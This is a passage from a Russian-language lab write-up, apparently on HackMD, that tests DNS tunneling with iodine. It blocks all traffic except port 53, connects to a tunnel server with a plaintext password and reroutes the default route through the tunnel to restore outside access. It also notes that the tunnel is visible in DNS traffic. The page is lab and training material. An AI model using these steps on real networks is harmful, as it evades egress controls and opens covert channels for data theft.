[Screenshot_54](https://cloud.mail.ru/public/vgyL/VcJv6c98Y) Заметим что днс трафик содержит непонятные вещи, по которым можно легко определить что есть какойто тунель в DNS трафике Перейдем к следующему этапу тестирования, для начала отключим существующий днс тонель [Screenshot_55](https://cloud.mail.ru/public/h5ZG/9Rwasrzhz) Отключим доступ до внешних ресурсов кроме нашего внешнего DNS серовера проверим утилитой dig запросы на mail.ru и у собственного днс сервера мы получаем данные, а из внешнего нет. [Screenshot_56](https://cloud.mail.ru/public/axYQ/3N34YBze3) закрываем вообще весь трафик кроме 53 порта [Screenshot_57](https://cloud.mail.ru/public/nLdm/D9xdHCPrD) [Screenshot_58](https://cloud.mail.ru/public/JvyM/Guv1XhRSq) в очередной раз попробуем подключиться iodine к серверу iodine -P Qq123456 i.ptlab.net [Screenshot_59](https://cloud.mail.ru/public/8Nss/ic2LSE6vy) и мы видим, что утилита не смогла получить доступ через raw логин и начала реализовывать доступ через dns стрим и в итоге таки установила соединение. а так же появился наш тонель [Screenshot_60](https://cloud.mail.ru/public/MmgP/9Lr2Wt9yA) Пропишим нужные нам маршруты ip route add 192.168.1.200 via 192.168.20.254 удалим дефолтный маршрут и добавим новый дефолтный маршрут ip route delete default ip route add default via 10.99.99.1 [Screenshot_62](https://cloud.mail.ru/public/ESb8/MjErRQ9nU) в итоге мы видим что у нас есть выход во вне и wireshark показывает Standart query dns запросы. ## Конец

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully